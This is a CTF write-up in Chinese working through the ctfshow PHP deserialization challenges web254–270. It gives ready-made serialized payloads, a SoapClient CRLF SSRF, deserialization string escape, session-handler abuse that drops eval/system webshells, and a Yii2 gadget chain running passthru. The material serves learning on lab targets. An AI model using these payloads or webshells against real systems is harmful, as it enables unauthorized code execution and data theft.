文章目录
web254
正常传参即可index.php?username=xxxxxx&password=xxxxxx
web255
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
让username和password不一样即可
<?php
class ctfShowUser{
public $username='xxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
# user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
payload:
# url传参
index.php?username=xxxxx&password=xxxxxx
# cookie
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
将ctfShowUser
类的__construct()
中的$this->class
的值改为new backDoor();
来调用backDoor命令执行。
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('cat flag.php');";
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
这里system(‘cat flag.php’)后面忘记加分号搞了好久
payload:
#url参数
http://f3761c16-21c2-49d4-a044-ecc4acb075f2.challenge.ctf.show:8080/?username=a&password=b
#cookie
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web258(冒号后可以加+号)
加上了正则过滤
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
不允许o:数字:
形式的出现,使用+绕过即可,将payload里的O:11:
和O:8:
替换为O:+11:
和O:+8:
payload
Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web259(SoapClient实现SSRF)
参考:
wp:从一道题学习SoapClient与CRLF组合拳
知识点:SoapClient反序列化SSRF、百度云加速获取真实访客IP 配合宝塔面板防御攻击
那么这里的CF-Connecting-IP
又是什么呢?
CloudFlare 可以看成 百度云加速(一回事)
在打开网站防火墙同时使用CDN后可能无法获取到用户的真实IP,那么就无法防御,
有可能造成服务器防火墙误封CDN IP的情况,造成502 ,520错误等
一种方法是获取 header中的 X-FORWARDED-FOR 来判断用户IP,但是众所周知这个字段是可以伪造的.
可靠的方法是获取百度云加速中的 `CF-CONNECTING-IP` 字段,实测这个字段无法伪造,
那么我们获取这个字段就可以`获取到用户的真实IP`
所以这道题因为cloudfare代理,我们无法通过本地构造XFF头实现绕过,只能通过原生类实现SSRF
首先开启soap,我这里是windows环境,如下图所示,把php.ini里这一行前面分号去掉即可。
linux开启方法:打开php.ini,找到extension=soap,然后把前面的注释去掉
然后vps开启监听,运行如下PHP代码
<?php
$a = new SoapClient(null , array('uri' =>'qaq' , 'location'=>'http://xx.xx.xx.xx:6666'));
$b = serialize($a);
$c = unserialize($b) ;
$c -> not_a_function() ; // 调用不存在的方法, 让 SoapClient 调用 __call
VPS收到如下数据包
从上面这张图可以看到, SOAPAction 处是我们的可控参数, 因此我们可以尝试注入我们自己恶意构造 的 CRLF 即插入 \r\n
payload
<?php
$a = new SoapClient(null , array('uri' =>"qaq\r\n\r\ntest\r\n" , 'location'=>'http://xx.xx.xx.xx:6666'));
$b = serialize($a);
$c = unserialize($b) ;
$c -> not_a_function() ; // 调用不存在的方法, 让 SoapClient 调用 __call
成功
但Content-Type在SOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据,在header里User-Agent在Content-Type前面(遵循 HTTP 协议,必须有Content-Type头)
解决:user_agent同样可以注入CRLF,控制Content-Type的值,payload:
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
成功
这道题的payload
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'qaq^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
# O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A127%3A%22qaq%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D[Finished in 44ms]
?>
打payload
index.php?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A127%3A%22qaq%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
然后访问flag.txt即可
web260
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
传参
/index.php?ctfshow=ctfshow_i_love_36D
web261
羽师傅:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
php弱类型,0x36d等于877,而877==877.php
<?php
$a='877.php<?php eval($_REQUEST["pass"]);';
var_dump($a==0x36d);
# bool(true)
code又是username和password拼接而成,所以我们给username赋值877.php
,password赋值<?php eval($_REQUEST["pass"]);
即可
payload
<?php
class ctfshowvip{
public $username="877.php";
public $password="<?php eval(\$_REQUEST['pass']);";
public $code;
}
echo serialize(new ctfshowvip())."\n\n";
echo urlencode(serialize(new ctfshowvip()));
# O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A30%3A%22%3C%3Fphp+eval%28%24_REQUEST%5B%27pass%27%5D%29%3B%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
访问877.php执行命令即可
web262(反序列化逃逸)
payload:
<?php
echo $a."\n\n";
class message{
public $from="a";
public $msg="b";
public $to;
public $token='user';
}
$a = new message();
$a->to=str_repeat("fuck",27).'";s:5:"token";s:5:"admin";}';
echo str_repeat("fuck",27).'";s:5:"token";s:5:"admin";}'."\n\n";
# fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
$c = str_replace('fuck', 'loveU', serialize($a));
$d = unserialize($c);
echo $d->token;
# admin
web263(php session反序列化漏洞)
PHP中的Session经序列化后存储,读取时再进行反序列化。
相关配置:
session.auto_start boolen
//指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.save_handler="files"
//设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.save_path="/tmp"
//设置session的存储路径
session.serialize_handler php
//定义用来序列化/反序列化的处理器名字。默认使用php
PHP中有三种序列化处理器,如下表所示:
不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的Session序列化格式不同,就可能产生反序列化漏洞。
实现session反序列化漏洞:
/*index.php*/
<?php
ini_set("session.serialize_handler", "php");
class qaq
{
var $test = 'test';
function __destruct(){
echo $this->test;
}
}
session_start();
/*session.php*/
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['test'] = $_GET['test'];
可以看到两个页面使用了不同的序列化方法。
目标:调用index.php里的__destruct()
方法输出一个<script>alert(1)</script>
首先生成payload:
然后构造payload(前面加一个|
)访问session.php,生成session文件
session的存储位置,session.save_path
的目录下
session存储的默认文件名,
sess_PHPSESSID
我们来看看存储的内容是什么
此时我们访问index.php,因为ini_set("session.serialize_handler", "php");
的原因,存储的内容被以php处理器的形式反序列化,从而执行了类里的__destruct()
魔术方法造成xss
我们来看看这道题
inc.php
设置了ini_set('session.serialize_handler', 'php');
还有类可以写文件,username拼接php后缀,password写入一句话木马即可。
现在要找写入session文件的位置,index.php中可以找到
payload:
<?php
class User{
public $username="a.php";
public $password='<?php system("cat f*");?>';
public $status='a';
}
$a = new User();
echo "|".serialize($a)."\n\n";
echo base64_encode("|".serialize($a));
?>
参考:
PHP序列化之Session反序列化漏洞
[代码审计]PHP中session的存储方式(WP)
web264
<?php
class message{
public $from="a";
public $msg="b";
public $to="admin";
public $token='admin';
}
echo "payload: ".str_repeat("fuck", 27).'";s:5:"token";s:5:"admin";}'."\n\n";
$a = new message();
$a->to=str_repeat("fuck", 27).'";s:5:"token";s:5:"admin";}';
echo str_replace('fuck', 'loveU', serialize($a))."\n\n";
$b = base64_encode(str_replace('fuck', 'loveU', serialize($a)));
$msg = unserialize(base64_decode($b));
echo $msg->token;
payload
index.php?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265(考察php的引用&)
php的引用(就是在变量或者函数、对象等前面加上&符号)
在PHP 中引用的意思是:不同的名字访问同一个变量内容。
与C语言中的指针是有差别的.C语言中的指针里面存储的是变量的内容,在内存中存放的地址。
payload:
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password=&$this->token;
}
}
echo serialize(new ctfshowAdmin());
web266(php类与变量大小写不敏感)
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
echo serialize(new ctfshow());
大小写绕过即可
web267-270(Yii框架反序列化)
专门复现了一波:Yii2 反序列化漏洞复现
admin/admin弱口令登录,源码中发现提示
传参:index.php?r=backdoor/shell&view-source
这里这样传参是因为yii的路由规则,Yii2.0 路由(Route)的实现原理 [ 2.0 版本 ]
这里使用passthru
函数有回显
<?php
namespace yii\rest{
class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = "passthru";
$this->id = "tac /f*";
}
}
}
namespace Faker
{
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
// 这里调用上一个类的方法的姿势需要学习一波
// 记得将close换为isRunning,这里忘记换了,搞了半天
$this->formatters['__toString'] = [new IndexAction(), "run"];
}
}
}
namespace phpDocumentor\Reflection\Types{
use Faker\Generator;
final class Nullable
{
private $realType;
public function __construct()
{
$this->realType = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\Types\Nullable;
class Swift_KeyCache_DiskKeyCache
{
private $path;
private $keys = [];
public function __construct()
{
$this->path = new Nullable();
$this->keys = ["hello"];
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
paylaod:/index.php?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086Mzk6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxUeXBlc1xOdWxsYWJsZSI6MTp7czo0OToiAHBocERvY3VtZW50b3JcUmVmbGVjdGlvblxUeXBlc1xOdWxsYWJsZQByZWFsVHlwZSI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6MTA6Il9fdG9TdHJpbmciO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo3OiJ0YWMgL2YqIjt9aToxO3M6MzoicnVuIjt9fX19czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBrZXlzIjthOjE6e2k6MDtzOjU6ImhlbGxvIjt9fQ==